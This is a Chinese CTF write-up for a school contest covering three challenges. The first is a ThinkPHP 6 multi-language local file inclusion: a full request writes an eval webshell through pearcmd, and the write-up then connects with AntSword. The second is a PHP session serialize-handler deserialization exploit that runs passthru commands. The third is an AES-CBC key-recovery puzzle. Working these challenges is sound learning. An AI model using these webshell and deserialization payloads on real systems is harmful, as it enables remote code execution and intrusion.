校内1月月赛 Write Up

发布于 19 天前  42 次阅读


thinkphp

ThinkPHP 多语言本地文件包含漏洞

首先是老朋友pearcmd.php,可以在P神的这篇文章中了解一下Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

环境中提及ThinkPHP V6.0.12LTS,很快的找到vulhub靶场中的vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)以及复现ThinkPHP多语言模块文件包含RCE复现详细教程 - 小阿辉谈安全 - 博客园 (cnblogs.com)

首先发送以下数据包,将木马写到/tmp文件夹中(/html文件夹不可写)

GET /public/index.php?+config-create+/<?=@eval($_POST['cmd']);?>+/tmp/mnh.php HTTP/1.1
Host: 47.94.9.17:19998
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close

为了将/tmp/mnh.php包含进去,需要在请求头内添加think-lang : ../../../../../../../../tmp/mnh

之后使用蚁剑连接,连接后在根目录下得到flag

session

这题有思路,但是没弄明白析构函数那里怎么触发,先放在这里

现在明白了,if那里不能不管,得随便传个值上去

<?php
class qwe{
    public $d;
    function __destruct()
    {
        eval($this->d);
    }
}
if($_GET[1] == 1){
    ini_set("session.serialize_handler","php_serialize");
}else if($_GET[1] == 0){
    ini_set("session.serialize_handler","php_binary");
}
session_start();
$_SESSION["id"] = $_GET["id"];

首先是session的存储格式

php_serialize经过serialize()函数序列化数组
php键名+竖线+经过serialize()函数处理的值
php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值

利用这些解释器工作方式不同,就可以触发PHP的session反序列化漏洞

payload:

<?php
class qwe{
    public $d;
    function __destruct()
    {
        eval($this->d);
    }
}

$a=new qwe();
$a->d="passthru('cat /flag.txt');";
echo(serialize($a));
# O:3:"qwe":1:{s:1:"d";s:26:"passthru(%27cat%20/flag.txt%27);";}
# 根据格式,需要在前面加个竖线|

在读取session时首先使用php_serialize处理,即传入"1=1"。此时会把 符号 “|“作为一个正常的字符处理。之后再使用php处理,这样会把”|” 当成分割符,从而造成了漏洞

先找找flag在哪

47.94.9.17:19999/?1=1&id=|O:3:"qwe":1:{s:1:"d";s:17:"passthru(%27ls /%27);";}

47.94.9.17:19999/?1=3

在根目录,cat一下flag.txt

47.94.9.17:19999/?1=1&id=|O:3:"qwe":1:{s:1:"d";s:26:"passthru(%27cat /flag.txt%27);";}

47.94.9.17:19999/?1=3

Sign_in

from Crypto.Cipher import AES
import os
from secret import flag

key = os.urandom(16)

assert len(flag) % 16 == 0

iv = os.urandom(16)
cipher = AES.new(iv,  AES.MODE_CBC, key)
C= b"So, it is such an easy problem.  This message contains no flags."
assert len(C) % 16 == 0
print("iv1 =", iv.hex())
print("c1 =", cipher.encrypt(C).hex())

iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv )
print("iv2 =", iv.hex())
print("c2 =", cipher.encrypt(flag).hex())
'''
iv1 = dbda8ad162f28597cc057fba43c1c549
c1 = 6c5b7ee87db989e252a2176d14d11bd782e891fd571c0b6100a71732bf557581c01fad6f2837570c92fa3e918b404fa21f8611671cf6ce6802f84dc7f3d6ed0c
iv2 = b1cd3899a250c647361ee8b4f7f136b0
c2 = 4d3aa44aeb6a629b3f287e1aed14491c59afec7c6e2a2dbf8a6a16eee657fbbc
'''

观察代码,发现两次加密分别调换了 iv 与 key 。其中iv1、iv2和对应加密后的密文已知,第一次加密的原文已知

第一次解密:

from Crypto.Cipher import AES
import os

iv = os.urandom(16)
cipher = AES.new(iv,  AES.MODE_CBC, key)
C= b"So, it is such an easy problem.  This message contains no flags."
assert len(C) % 16 == 0
print("iv1 =", iv.hex())
print("c1 =", cipher.encrypt(C).hex())
'''
iv1 = dbda8ad162f28597cc057fba43c1c549
c1 = 6c5b7ee87db989e252a2176d14d11bd782e891fd571c0b6100a71732bf557581c01fad6f2837570c92fa3e918b404fa21f8611671cf6ce6802f84dc7f3d6ed0c
'''
明文:b"So, it is such an easy problem.  This message contains no flags."
密文:base64.b16decode('6c5b7ee87db989e252a2176d14d11bd782e891fd571c0b6100a71732bf557581c01fad6f2837570c92fa3e918b404fa21f8611671cf6ce6802f84dc7f3d6ed0c',True)
密钥:base64.b16decode('dbda8ad162f28597cc057fba43c1c549',True)

给出了密钥(key),明文(plainText),密文(cipherText),使用的是 密码分组链接 CBC(Chiper Block Chaining) 模式。要求出 初始化向量 IV(Initalization Vector)

通过参考文章一道通过密文明文求解 IV 的密码学题目(crack AES-CBC IV) - scriptk1d - 博客园 (cnblogs.com)可以得到解密脚本,这里不再重复。简要说明就是

  1. 伪造一个 fakeIV = "aaaaaaaaaaaaaaaa"
  2. 使用 fakeIV 和 key 去构造 Cipher -- fakeIVAes
  3. 使用这个 fakeIVAes 去解密 cipherText1,得到一个假的明文 fakePlainText
  4. 然后把 cipherText1 和 fakeIV 作异或运算得到 enc_msg
  5. 把 enc_msg 和 plainText 作异或运算就能得到真正的 IV
from Crypto.Cipher import AES
import base64
def xor(p1, p2): #此函数用于python2环境,这里使用python3,不使用xor()函数
    tmp = ''
    for i in range(len(p2)):
        tmp += chr(ord(p1[i]) ^ ord(p2[i]))
    return tmp

def bxor(b1, b2): #通过bytes进行异或
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result

key = base64.b16decode('dbda8ad162f28597cc057fba43c1c549',True)
cipherText = base64.b16decode('6c5b7ee87db989e252a2176d14d11bd782e891fd571c0b6100a71732bf557581c01fad6f2837570c92fa3e918b404fa21f8611671cf6ce6802f84dc7f3d6ed0c',True)
plainText = b"So, it is such an easy problem.  This message contains no flags."
fakeIV = b"aaaaaaaaaaaaaaaa"

fakeIVAes = AES.new(key, AES.MODE_CBC, fakeIV)

fakePlainText = fakeIVAes.decrypt(cipherText)
print("fakePlainText:",fakePlainText)
print("fakeIV:",fakeIV)
enc_msg = bxor(fakePlainText, fakeIV)
iv = bxor(enc_msg, plainText)
print(len(iv))
print(iv)
'''
fakePlainText: b'\x9b\x92\xc3\x14\xcb\x14\xe01\xa4\x11^&4\xe0\x87\x89n easy problem.  This message contains no flags.'
fakeIV: b'aaaaaaaaaaaaaaaa'
16
b'\xa9\x9c\x8eU\xc3\x01\xa19\xb6PL26\xe9\xc6\x89'
'''

据此脚本,得到key(在第一次加密中作为iv使用)=b'\xa9\x9c\x8eU\xc3\x01\xa19\xb6PL26\xe9\xc6\x89'

第二次解密:

得到key后,只需要常规操作就可以解密flag了

from Crypto.Cipher import AES
import os
from secret import flag

key = os.urandom(16)

assert len(flag) % 16 == 0

iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv )
print("iv2 =", iv.hex())
print("c2 =", cipher.encrypt(flag).hex())

'''
iv2 = b1cd3899a250c647361ee8b4f7f136b0
c2 = 4d3aa44aeb6a629b3f287e1aed14491c59afec7c6e2a2dbf8a6a16eee657fbbc
'''
import base64
from Crypto.Cipher import AES
key = b'\xa9\x9c\x8eU\xc3\x01\xa19\xb6PL26\xe9\xc6\x89'
iv = base64.b16decode('b1cd3899a250c647361ee8b4f7f136b0',True) # iv2
en_text = base64.b16decode('4d3aa44aeb6a629b3f287e1aed14491c59afec7c6e2a2dbf8a6a16eee657fbbc',True) # c2
aes = AES.new(key,AES.MODE_CBC,iv) 
den_text = aes.decrypt(en_text)
print("明文:",den_text)
'''
明文: b'flag{N0w_th3_1V_i5nt_s3cur3_t00}'
'''

得到flag:flag{N0w_th3_1V_i5nt_s3cur3_t00}


若金色的阳光停止了它耀眼的光芒,你的一个微笑,将照亮我的整个世界